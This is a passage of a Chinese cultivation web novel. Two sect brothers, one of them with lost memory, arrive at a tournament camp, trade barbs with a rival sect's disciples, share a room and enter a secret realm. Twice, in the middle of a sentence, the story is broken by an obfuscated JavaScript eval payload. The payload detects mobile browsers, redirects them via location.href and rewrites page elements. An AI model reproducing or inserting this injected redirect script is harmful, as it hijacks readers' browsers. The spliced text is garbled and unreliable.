闻敬渊反应极快,指尖一点灵光闪过。纤纤扑到半空的小身子骤然一僵,像被无形的手定在了原地,维持着一个张开翅膀欲啄的滑稽姿势。 闻敬渊伸手,两根修长的手指轻轻捏住了它一只同样圆滚滚,覆盖着细绒的爪子,然后,手腕一翻,就这么把它倒着提溜了起来。纤纤头朝下,淡金色的绒毛微微垂下,更显得圆嘟嘟,它似乎完全没料到这遭遇,呆住了。 就在此时,一个东西劈头盖脸朝闻敬渊砸来,是风亭瞳顺手从旁边榻上捞起的枕头。闻敬渊头空着的那只手随意一抬,便稳稳接住了枕头。 风亭瞳的声音随之响起,带着明显的不悦:“它不是鸡。” 闻敬渊松开定身术,将倒提着的纤纤轻轻放回地面。重获自由的小家伙似乎还有点晕头转向,在原地踉跄了一下,甩了甩脑袋。然后,它看也不看闻敬渊,迈开小爪子,灵巧地一蹬,一攀,竟光明正大,堂而皇之地蹦上了那张铺着素色锦褥,在柔软的被褥上找了个舒适的位置,窝成一团,还挑衅似的朝闻敬渊的方向“啾”了一声,黑豆眼里满是得意。 闻敬渊看着那只理直气壮占据床铺的肥鸡,又看了护短的风亭瞳,将接住的枕头递还回去。 闻敬渊:“师弟,你的鸡养得真不错。” 风亭瞳:“它是鸟!不是鸡!” 10. 不过爱上他也是人之常情 风亭瞳觉得闻敬渊这人真是没有眼色,他怎么可能又怎么会有闲情逸致,去养一只普普通通的凡间肉鸡? 纤纤那通体流转的淡金色灵光,那灵巧聪慧,远超寻常禽类的举止,哪一样是凡鸡能有的? 寻常修士到了他们这个境界,其实早已不需要依赖凡俗意义上的睡眠,只需静心打坐,运转周天,吐纳天地灵气,便可涤除疲惫,恢复全部精力,甚至对修为更有裨益。 但对于风亭瞳而言,在陌生或不够绝对安全的环境下彻底入定打坐,心神需分出至少四分来警惕周遭,以防不测,这种状态下修炼恢复,效果未必比得上全然放松的沉睡。 所以他更偏向于直接休息,让身体和神识得到最彻底的休憩,尤其在长途跋涉或任务途中。 再说闻敬渊警惕性跟鬼一样,有他在,风亭瞳不用分出心神。 此次前往小千幻境,搭乘的是宗门的大型灵船。 两日的航程,说长不长,说短不短。船上到底地盘有限,舱室之间隔音禁制也不算顶级,灵船飞行于罡风层中,遇到气流颠簸是常有的事。 因此,基本上所有弟子都会安分地待在自己的舱室内,或休息,或打坐,或温习功法,不会随意出来串门走动,既是规矩,也是为了避免不必要的麻烦。 风亭瞳身为天枢峰实际主事的二师兄,此番带队,自然会被领队的墨规长老叫去,在长老的专用舱室里,详细交代一些事宜。 此次宗门挑选前往参加天罡问道会的弟子,修为皆在结丹期左右,是各峰这一代的中坚力量,墨规长老神色肃穆,反复强调了小千幻境内的凶险与不可预测。 往些年参加问道会,折损弟子的事情并非没有发生过,秘境之中,幻境迭生,异兽潜伏,机缘往往与危机并存。 他叮嘱风亭瞳务必约束好本门弟子,若遇险情,当以同门安危为先,太上宗弟子在外,须得互帮互助,拧成一股绳。 最后长老特意提了一句:“星髓兰虽珍贵异常,是此行首要目标,但到底比不上性命更加珍贵。切记,权衡利弊,保全自身为上。” 从墨规长老的舱室出来,靠镶嵌在舱壁上的荧光石照亮的通道往回走,谢慎之倚在通道拐角处,脸上带着惯常似笑非笑的神情,一双狐狸眼微微眯着,主动开口搭话:“二师兄,怎么没见大师兄同去?这等场合,他理应到场才是。” 风亭瞳:“墨规长老自然也叫了他。” 实际上,去长老舱室之前,风亭瞳就怕闻敬渊那张嘴在不合时宜的时候冒出什么惊人之语,于是他干脆让闻敬渊就待在舱室里等着,哪儿也别去。 他自己现在简直跟拴了根无形的裤腰带似的,走哪儿都得尽量带着他,或者至少得确保他在自己视线内,免得这位失忆后行事更难以预料的大师兄捅出什么篓子。 风亭瞳只觉得心累无比,暗自下定决心,等此番问道会事了,一定要马上带闻敬渊去万药宗,让那些医修圣手好好瞧瞧,这失心疯,不,这失忆症状到底还有没有救。 面对谢慎之的询问,风亭瞳面上不显,只是语气如常地解释,甚至还带上一点对闻敬渊性格众所周知的体谅:“他向来不喜欢参加这些场合,你又不是不知道,长老交代的事情,我转达便是。” 谢慎之点了点头:“对了二师兄,我瞧着你最近和大师兄的关系,似乎缓和了不少?” 风亭瞳:“毕竟是同门师兄弟。” 谢慎之从善如流地接话,笑容不变:“那倒是。同门之间,理应和睦。” 这个谢慎之,在年轻一辈弟子中是出了名的敏锐狡猾,心思深沉,最擅察言观色,捕捉细节。 若是被他窥探出丝毫端倪,发现风亭瞳不仅打伤了闻敬渊,还间接导致了这位大师兄疑似失忆变傻。 风亭瞳想象出可能引发的后果。 谢慎之会不会借此机会大做文章?甚至一跃而上,顶替自己如今在宗门内的位置? 所以,绝对不能让他发现。 两日之后,灵船穿破最后一片罡风与云雾,缓缓降落在预定的区域。 所有弟子依次下船,终于抵达了此行的目的地,小千幻境外围。 混元宫作为此次问道会的东道主,早已在此处相对稳定的区域,动用阵法与人力,开辟出了一片可供各派弟子临时停歇,修整的营地。 虽说是营地,却也亭台楼阁,临时房舍一应俱全,只是风格更为简朴实用,少了些宗门内的精致奢华。 墨规长老领着几位随行管事,上前与早已等候在此的混元宫执事交谈寒暄。 混元宫的弟子服制颇为醒目,以玄黑为底,衣领袖口滚着繁复的金银双色阵纹,胸前最显眼的位置,绣着他们宗门独有的黑白金三色交织的太极阴阳鱼符阵标记。 风亭瞳站在自家弟子队伍前列,目光扫过那些混元宫弟子,心里默默评价:这配色,这纹样,丑死了。 还是他们太上宗天枢峰的月白滚银边,绣流云暗纹的服饰瞧着清爽顺眼。 营地虽大,但此番前来的各派弟子人数众多,住处依旧紧张。 登记分配房舍时,负责此事的混元宫执事正拿着一份名册,对照着各派提交的名单进行安排。 风亭瞳在对方询问太上宗如何分配时,主动开口,声音清晰平稳:“我与闻敬渊师兄一间即可。” 说完他又补上一句听起来合情合理:“我近来在剑道上有些疑问,正好趁此机会向大师兄请教一二。” 站在风亭瞳身后的风辰闻言目光不善,带着毫不掩饰的警惕,瞥向旁边一脸平静的闻敬渊。 与风辰交好的那位璇玑峰的圆脸女弟子苏枕溪,闻言也惊讶地眨了眨眼,凑近风辰,用只有两人能听到的气音小声嘀咕:“……风师兄,大师兄和二师兄什么时候走得这么近了?” 风辰:“话本是话本,我们家少爷应当是不喜欢男人的吧。” 语气最后有一丝的迟疑。 他们这边低语间,天际又传来破空之声。 天衍阁,玄阴谷和碧落山庄的大型灵船也依次到达,缓缓降落在营地其他区域。 各派弟子鱼贯而出,服饰鲜明,汇聚一处,原本略显空旷的营地顿时热闹起来。 天衍阁的弟子服是明亮的金色打底,上绣星宿图案,华贵耀目。 玄阴谷则是低调的深灰色,样式简洁,透着股冷峻。 碧落山庄则是清新的浅绿色,衣袂飘飘,带着草木生机之气。 几大宗门的年轻精英汇聚于此,虽然气氛总体维持着表面的和谐与克制,但彼此目光交错间,已隐隐有了无声的较量与审视。 不少其他宗门的弟子,尤其是一些中小门派或是与太上宗有过交情的,纷纷上前来与风亭瞳打招呼,态度颇为热络。 风亭瞳面上带着不显得过分热情也不失礼的浅笑,他身姿挺拔,面容俊朗,月白衣袍纤尘不染,在一众年轻修士中,确实有种鹤立鸡群般的出众气度。 在太上宗内,大家心知肚明,风亭瞳头上永远压着一个修为更深的闻敬渊,是那个千年老二的二师兄。 但出了宗门,在这汇集了天下英才的问道会上,风亭瞳便是上一届力压群雄,夺得魁首的耀眼存在,是年轻一辈中当之无愧的佼佼者。 有外宗之人,许是见风亭瞳身边总跟着一个气质迥异,面容冷峻却同样身着天枢峰服饰的陌生面孔,不由得好奇,向旁边的太上宗弟子低声打听闻敬渊的来历。 那太上宗弟子玉衡峰的,与天枢峰不算太亲近,但也知晓内情,瞥了一眼闻敬渊的方向,语气里带着点复杂,因对方常年神隐而生的距离感,低声解释道:“那位啊是天枢峰的大师兄,闻敬渊,只是这些年来比较低调,极少在宗门内外走动,许多事务都由风师兄出面打理。不过,若真要论起实力修为……” “恐怕还要稳稳压上风师兄一头的。” 询问之人闻言,脸上露出明显的惊诧之色,目光不由自主地再次投向闻敬渊,上下打量,语气里充满了难以置信:“竟有此事?如此人物,之前竟从未听说过其威名?贵宗还真是藏龙卧虎。” 他们的对话声音不高,但在这种修士汇聚,耳目皆比凡人敏锐的环境下,本也不算绝对的秘密。 闻敬渊似乎恰好就在附近,听到了那压上一头的评论,撇撇嘴。 闻敬渊知道风亭瞳听见这种话不爽,他朝那议论的方向看了一眼,过去纠正:“没有的事,风师弟实力修为远超我之上。” 风亭瞳连忙拉他过来:“别说这些废话。” 这落在旁人眼里,还以为是他们师兄弟互相谦虚。 傍晚时分,残阳如血,将营地简陋的建筑和远处小千幻境入口都染上了一层暗金色。 各宗门弟子基本到齐,三三两两聚在一起,只等着再过几日,所有收到邀请的大小宗门全部聚集完毕,便要正式开启禁制,进入那神秘莫测的小千幻境。 混元宫此番带队前来的年轻一代最出名的有两位,首席弟子白藏,以及身份特殊的圣女蛊星。 白藏此人,风亭瞳是打过交道,算是有几分交情,这交情就在上一届问道会上,白藏是风亭瞳的手下败将,曾在他剑下吃过不小的亏。 此刻,白藏见风亭瞳几乎是走到哪儿都带着那个传说中的天枢峰大师兄闻敬渊,形影不离,又听闻了对方深藏不露,心中那点好胜与挑衅之意便蠢蠢欲动起来。 他带着几个混元宫弟子,状似随意地踱步到风亭瞳和闻敬渊所在的休息区域。 目光在闻敬渊身上转了一圈,白藏脸上挂着几分玩世不恭的笑容,语气却刻意拔高,带着明显的挑衅意味,对着闻敬渊道:“久仰闻兄大名,传说中闭门不出,潜心修行的天枢峰大师兄。第一次参加问道会吧?这幻境之内,规矩繁多,险象环生,若有什么不懂之处,大可以开口求助我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123123|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等。毕竟,混元宫作为东道主,照顾一下初次参与的同道,也是分内之事。” 宗门之间,明面上是正道同盟,私下里却无时无刻不想着压对方一头,尤其是在这等汇聚了各派未来希望的场合,言语机锋,气势较量,都是常态。 风亭瞳眉头一皱,刚想出声,将这明显的挑衅挡回去。 白藏说着话,竟伸出手,似乎想以一副熟络的姿态,去拍闻敬渊的肩膀。动作看似随意,实则带着试探和一丝不尊重的轻慢。 然而,他的手还未触及闻敬渊肩头的衣料,便像是撞上了一层屏障,骤然反弹开来,连带着他整个人都下意识地微微后仰了半步。 闻敬渊甚至没有侧身:“抱歉,我不喜被人触碰。” 那股力道控制得极精妙,只是隔开,并未伤人。 他们这边的动静虽然不大,但在这种敏感的场合,任何一点小冲突都容易引起关注。 周围不少其他宗门的弟子都投来了目光,带着好奇,玩味或审视。 混元宫的人向来以随性不羁,规矩相对松散著称,此刻见自家弟子吃了个不软不硬的钉子,有几个年轻气盛的弟子脸上便露出不忿之色,只是碍于场合,没有立刻发作。 而各派带队长老们,则大多只是远远看了一眼,并未上前干涉。 小辈之间的言语机锋乃至小小的摩擦,只要不闹得太过分,长辈们通常不会轻易插手,这也算是心照不宣的默许。 风亭瞳上前一步,握着众生剑不着痕迹地挡在了闻敬渊斜前方半个身位:“白兄多虑了,我们大师兄虽是初次参加问道会,经验或有不足,但我们太上宗弟子皆在此处,互相照应提点,乃是分内之事。太上宗的规矩与传承,自会护佑本门弟子周全,不劳白兄过于挂怀。” 他话说得客气,但那份不容外人置喙的维护之意表达得清清楚楚。 风亭瞳欺负,挤兑闻敬渊是一回事,但被外宗门的人当面挑衅,言语轻慢,那就完全是另一回事了,这关乎天枢峰的颜面,关乎太上宗的尊严,他不可能坐视不理。 闻敬渊朝着风亭瞳身后靠了靠,一副寻求庇护的姿态,语气无辜对风亭瞳说:“师弟,他们该不会仗着人多,欺负我这个新人吧?” 这话声音不高,但在场皆是耳聪目明之辈,自然听得清清楚楚。 配上他那张没什么表情却显得格外真诚的脸,效果堪称诡异。 白藏脸上的笑容顿时僵住,一阵红一阵白,当着这么多人的面,被扣上欺负新人的帽子,尤其对方还是太上宗名义上的大师兄,这话实在有些重了。他勉强扯了扯嘴角,反驳:“怎么会!闻兄说笑了,我不过是好心提醒……” 一旁的谢慎之此刻也踱步过来,适时接话,绵里藏针:“白兄的好意,我们太上宗心领了。不过,指点提携之事,自有我们宗门内部长辈师兄操心。” “外人倒也不必过于指教。免得传出去,让人误会混元宫连别宗弟子的修行事务,也要一并代劳了,那多不合适。” 这话夹枪带棒,暗讽混元宫手伸得太长。 几个混元宫年轻弟子脸上怒气更盛,眼看气氛就要进一步紧绷。 好在此时,混元宫那边一位负责维持秩序的执事注意到了这边的动静,快步走了过来,低声说了几句什么,又对太上宗这边颔首示意。 白藏似乎也意识到继续下去只会更失面子,冷哼一声,借坡下驴,带着人转身走了。 待到人群稍散,其他太上宗弟子聚拢过来,脸上都带着不忿。 有人低声骂道:“这才第一日,混元宫就这般做派!不愧是出了名的仙宗第一不讲规矩,仗着是东道主,尾巴都要翘到天上去了!” “就是,那个白藏,上一届输给风师兄还不够,这次又想找茬……” 风亭瞳抬手,止住了同门的议论:“好了,些许口舌之争,不必挂怀,都回房休息吧,养精蓄锐才是正经。” 他目光扫过众人,最后落在闻敬渊身上道:“大师兄,走吧。” 回到两人合住的临时房间,空间不大,陈设简单,只有两张并排的木床,一张桌案,两把椅子。墙壁上刻着简单的隔音和防护阵法,散发着微弱的灵光。 风亭瞳解下腰间的众生剑,还未及转身,身后便贴上了一具温热的躯体。闻敬渊从后面靠近,双臂极其自然地环了上来,松松地搂住了他的腰,下巴还亲昵地搁在了他的肩窝处,动作熟稔得仿佛做过千百遍。 “师弟你今天对我真好,那么多人面前,那么愿意护着我。” 风亭瞳身体骤然僵住。 闻敬渊这傻子该不会,真的脑子坏掉,然后爱上他了吧??? 虽然他风亭瞳确实天资卓绝,修为在同辈中属顶尖,相貌也是宗门内外公认的俊朗出众,气质风度更是一等一,但是被闻敬渊这种人,以这种方式爱上…… 不过爱上他也是人之常情。 11. 问道会开始 风亭瞳承认,自己的魅力的确很大。 毕竟早在他年纪还很小,尚在风家本宅的时候,就已经有不少门当户对,甚至略高一些的家族,明里暗里透露出想要与风家结亲的意向。 后来他拜入太上宗,天赋卓绝,进境神速,成了天枢峰首座凌虚剑尊座下第一人,至少在闻敬渊出现之前就声名鹊起。 每次风亭瞳回风家探亲,人还未至,城中便已暗流涌动,不知有多少人或家族,挤破了头也想寻个由头,远远地看他一眼。 那些或含蓄直白的目光,里面掺杂的欣赏倾慕,他见得多了。 但闻敬渊根本就配不上他。 简直就是痴心妄想,闻敬渊此人,来历不明,身世成谜,祖上往三代去数,恐怕都不知道姓甚名谁,是哪个山沟旮旯里冒出来的野修后人。 这般家世背景,与他们风家这种绵延数百年,底蕴深厚,实在是太勉强。 而且,闻敬渊年纪也不小了,虽然修士寿命悠长,但论资历,论在宗门之外的影响力,他除了在太上宗内因修为和玄苍长老弟子的身份有些虚名之外,根本没见过什么大世面,更遑论建立自己的势力或威望。 “松开,”风亭瞳动了动肩膀,“你勒着我了。” 身后的闻敬渊闻言,手臂立刻松开了些,却并未完全撤离,只是虚虚地环着。他把下巴从风亭瞳肩窝抬起,抱怨道:“师弟我今天可以不打地铺了吗?感觉这几天睡多了地铺,肩膀和腰都有点酸……” 临时房舍的地面只铺了一层薄薄的草编席。 风亭瞳斜睨着身后那张近在咫尺的脸:“你难道想睡床?” 闻敬渊眨了眨眼:“不可以吗?” “不可以。” 风亭瞳转过身,“别以为我不知道你在想什么。” “说了不许碰我,就不许碰我,你给我记清楚了。” “我给你生孩子,” 风亭瞳说出这几个字时,语气有些古怪,像是混合了屈辱和一种奇异自诩的牺牲感,“已经是对你最大的恩赐和妥协了,所以,别的方面,你什么都要听我的。” 闻敬渊:“……师弟,我自然听你的。” “如果外面有人欺负你,挑衅你,只要我一个眼色,你的昭霁剑就得立刻给我抽出去,该怎么应对就怎么应对,不要畏首畏尾,更不许丢太上宗,丢天枢峰的人!” 他想起白天闻敬渊往自己身后躲,语气更添了几分恨铁不成钢的严厉:“像你今天白日那样窝窝囊囊的,像什么男人?拿出点气势来!” 闻敬渊安静地听着,脸上没什么多余的表情,只是在他话音落下后,顺从地点了点头,语气甚至算得上温驯:“好,师弟让我做什么,我就做什么。” 风亭瞳看着他这副听话的样子,心想,罢了,失忆后的闻敬渊,浑身上下,恐怕也就剩下还算听话这一个姑且算是优点了。 第二日清晨,窗外的天色刚泛起鱼肚白,营地里还一片寂静。 风亭瞳从并不算深的睡眠中缓缓醒来,嘴唇上传来的一阵细微奇异的麻痒感。不疼,但存在感鲜明,像被什么柔软的东西反复摩擦。 他撑起上半身,柔软的白色寝衣领口因动作微微敞开,露出线条清晰的锁骨。一头乌黑的长发未束,柔顺地披散在肩头和背后,几缕发丝滑落颊边。 闻敬渊不知道什么时候已经起身,跑哪里去了。 就在这时,房门被从外面轻轻推开。闻敬渊端着一个黄铜脸盆走了进来,盆里盛着大半盆清水,水面微微晃动。 他抬起头,一眼就看见坐在床边,长发披散,寝衣微乱,正抬手抚唇的风亭瞳。 晨光从门缝和窗户透进来,给风亭瞳周身镀上了一层柔和朦胧的光晕,那张平日里总是带着清冷或傲气的俊美脸庞,此刻在刚睡醒的惺忪和那点不自觉的小动作下,显出一种罕见毫无防备的柔软感。 闻敬渊视线在风亭瞳抚摸嘴唇的手指上飞快地掠过,随即迅速垂下眼睑,他端着水盆走进来,将盆放在房间角落的木架上。 “师弟,你醒了?我打了盆水,温度刚好,给你洗漱。” 风亭瞳嫌弃地蹙着眉,从床上起身,低头仔细打量了一下身下这张简陋的木床。他活动了一下肩颈和手臂,总觉得浑身都不自在。 “这混元宫办事,真是粗糙得可以,” 他语气里挑剔,指尖掸了掸寝衣,“连个像样的住处都安排不妥当,我感觉我浑身都不自在,该不会昨晚是有什么虫子爬过吧?” 闻敬渊:“是吗?师弟,我睡在地上都没觉得有什么异样。” 风亭瞳睡床都觉得难受,这家伙打地铺反而没事?说明他比闻敬渊娇贵。 风亭瞳没再接话,用闻敬渊打来的清水仔细洗了脸。洗漱完毕,开始束发。这过程对于风亭瞳来说,不是草草了事。他将长发拢起,用一根通体莹白,顶端镶嵌着细碎冰蓝灵玉的发簪固定,发髻的弧度,鬓角的碎发,每一处都透着精心。 又取出一小盒散发着清冽雪松气息的膏体,指尖蘸取少许,匀在掌心,然后轻轻按压在脸颊和颈侧,既是保养,也让肤色看起来更显光泽通透。 闻敬渊安静地站在一旁看着。 许多修士,大多不修边幅,或者只求整洁利落,像风亭瞳这样,晨起洗漱束发都要耗费近一刻钟,步骤繁多繁琐,简直快赶得上凡间女子对镜梳妆,涂脂抹粉的精细程度了。 不过,闻敬渊看着铜镜里那张逐渐变得神采奕奕,每一处细节都完美得无可挑剔的完美侧脸,心里却没什么不耐烦,只觉得好看。 一切收拾停当,风亭瞳转过身,晨光落在他月白色的天枢峰常服上,更衬得人如修竹,清贵不凡。 他朝着闻敬渊招了招手,示意他过去。 闻敬渊走近。 风亭瞳从袖中取出两根细细颜色鲜润如血的红绳。那红绳看不出是什么材质,非丝非棉,在光线下泛着一种温润内敛的光泽。 风亭瞳先拉过闻敬渊的左手手腕,动作算不上温柔,将那根红绳仔细地缠绕上去,打了个看似简单,实则暗含玄妙结扣的绳结。 红绳系好的瞬间,原本鲜亮的颜色迅速变淡,仿佛融入了皮肤之下,只留下极淡几乎看不见的一圈暗红痕迹,随即连那痕迹也隐去了,手腕上看不出任何异样。 然后,风亭瞳又如法炮制,将另一根红绳系在了自己的右手腕上,同样在系好后迅速隐没无形。 闻敬渊举起自己的左手腕,翻来覆去看了看,皮肤光滑,毫无异状,只有一种仿佛被什么无形之物轻轻牵绊住的微妙感觉,从腕间传来,另一端似乎遥遥指向风亭瞳。 他抬起眼,看向风亭瞳:“师弟,这是什么?” 风亭瞳不自在地轻咳了一声:“一种小法器罢了,没什么大用,就是让我们俩不能离对方超过十数丈的距离。” 这红绳,名为牵丝线。 所谓有缘千里一线牵,倒并非全然虚言。 这是风亭瞳母亲当年从一位落魄但身怀奇珍的修士手中,用不菲的代价换来的诸多宝贝之一,后来全都一股脑儿塞给了他,说是留着防身或有用处。 这牵丝线平日里毫无用处,一旦系上,双方便会被一种无形的灵力气机牵引,超出特定距离便会有所感应,甚至把修为较弱的那一方拉扯回来。 这灵器品阶不算太高,但用来拴住一个失忆后行为难以预测的闻敬渊,让他别离自己太远,免得惹祸或走丢,倒是正合适。 闻敬渊闻言,非但没有不满,反而低头看了看自己空空如也的手腕,随即握住了那个看不见绳结的位置,语气带着点愉悦:“师弟想得真周到,这样师弟你如果遇到危险,我第一时间就能知道,立刻赶过去。” 风亭瞳被他这话噎了一下,立刻反驳:“谁需要你保护?” 闻敬渊从善如流,立刻改口,眼神依旧专注地看着他:“那……师弟保护我。” 风亭瞳:“…………” 真不要脸。 两日后,受邀前来的大小宗门,无论路途远近,终于全部到齐。 营地里人头攒动,服饰各异,空气里弥漫着兴奋,紧张与期待的躁动。 小千幻境入口处那片常年氤氲不散,光怪陆离的雾气,在混元宫数位长老联手催动阵法之下,开始剧烈翻涌,如同煮沸的乳白色海洋。 雾气中心,逐渐显露出一个旋转深邃通往未知之地的旋涡状入口,禁制被正式打开了。 在此之前,混元宫作为东道主,携五大宗的顶尖长老们曾联手深入探查过此幻境外围相对稳定的区域,绘制出了一副虽然不算详尽,但大致标注了一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻敬渊顺着他示意的方向,目一一扫过,听完后,总结了一句:“他们都是师弟的手下败将。” 风亭瞳闻言,眉梢扬了一下。他发现,闻敬渊失忆之后,虽然行为跳脱,心思难测,但这张嘴在某些时候,倒是越来越识相,越来越会说人话了。 他下巴微抬:“当然,未来,五大宗各自执掌的印之一继承人多半只会从这些人之中产生。” 要进入小千幻境了。 风辰挤到风亭瞳身边,脸上满是忧虑,叮嘱:“少爷,里面情况不明,您一定要万事小心,千万平平安安地回来。” 他想起昨日在篝火堆旁,璇玑峰的女弟子,兴致勃勃,满脸红晕地低声谈论了几乎整整一天的大师兄和二师兄,风辰越听越觉得不对劲,心里那股不安感也随之愈发浓重。 风辰语重心长:“少爷您戏耍人归戏耍,可千万别把自己也给戏耍进去了啊。” 风亭瞳瞪了风辰一眼:“你说什么呢?乱七八糟的,我走了,看好外面。” 风辰忙不迭点头,追问:“那……纤纤呢?” 风亭瞳语气随意:“在灵戒里睡觉呢,你不是总说它该减肥了,圆滚滚的?所以我准备这次也顺便历练历练它。” 小千幻境的入口旋涡旋转速度越来越快,散发出的吸力也逐渐增强。 混元宫一位须发皆白,面容肃穆的长老凌空而立,声若洪钟:“所有参与弟子,身上皆已发放一枚保命符。此符与外界阵法相连,若遇无法抵御之危险,立即捏破符咒,便会触发传送,将你送出幻境,同时会有执事前往接应,切记,机缘虽好,性命为重!” 话音刚落,早已按捺不住的各派弟子,便化作一道道颜色各异的流光,如同逆流的星河,纷纷投向那深邃莫测的旋涡入口。 破空之声不绝于耳,身影接连没入其中,消失不见。 风亭瞳最后看了一眼身后的同门,深吸一口气,对身旁的闻敬渊低喝一声:“跟紧我。” 随即,两人身形同时化作一道皎洁如月的剑光,没入旋涡。 随着最后一名弟子的进入,入口旋涡缓缓收缩,雾气重新合拢。 五年一度的天罡问道会,在无数目光的注视与期待中,正式开启。